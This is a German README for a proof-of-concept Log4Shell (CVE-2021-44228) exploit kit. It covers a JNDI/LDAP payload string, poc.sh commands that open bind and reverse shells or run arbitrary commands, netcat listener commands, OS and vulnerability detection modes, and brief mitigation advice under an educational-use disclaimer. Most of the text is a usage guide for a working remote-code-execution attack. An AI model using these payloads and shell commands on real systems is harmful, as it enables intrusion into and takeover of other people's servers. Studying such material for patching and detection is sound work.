
Proof-of-concept Exploit für CVE-2021-44228 (Log4Shell) mit HTTP/LDAP-Servern, Unterstützung für Bind/Reverse-Shells, RCE, Betriebssystemerkennung und zeitbasierte Schwachstellenerkennung. Nur für Bildungszwecke.
PoC für CVE-2021-44228.
Projekt nur für BILDUNGSZWECKE.
Dieses Projekt erstellt zwei Server: http und ldap. Beide sind notwendig, damit der Exploit funktioniert. Die angegebene Java-Datei wird kompiliert und die Server werden im Dockerfile gestartet. Der Payload wird dem Benutzer angezeigt – er muss an die verwundbare Anwendung übergeben werden.
Beispiel-Payload:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Das Programm wird für 25 Sekunden in den Ruhezustand versetzt
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
Die Betriebssystemerkennung kann 4 Buchstaben zurückgeben:
L für LinuxW für WindowsM für macOSU für unbekanntBypass-Technik wurde veröffentlicht. Beispiel hier
Die App wurde entwickelt, um zu zeigen, wie sie funktioniert. Um das JAR mit einer App zu erstellen und auszuführen, verwenden Sie:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
wobei PAYLOAD vom Skript ./poc.sh zurückgegeben wird (z. B. ${jndi:ldap://127.0.0.1:1389/1}).
Einige Danksagungen an Projekte und Websites, die bei der Erstellung dieses Exploits verwendet wurden:
Starten Sie die App mit log4j und setzen Sie log4j2.formatMsgNoLookups auf true, oder aktualisieren Sie auf log4j-2.15.0-rc1 oder neuer. Updates sind in freier Wildbahn verfügbar – implementieren Sie sie so schnell wie möglich.
Dieses Projekt darf nur für Bildungszwecke verwendet werden. Die Nutzung dieser Software gegen Zielsysteme ohne vorherige Genehmigung ist illegal, und der Autor übernimmt keine Verantwortung für Schäden, die durch Missbrauch dieser Software entstehen.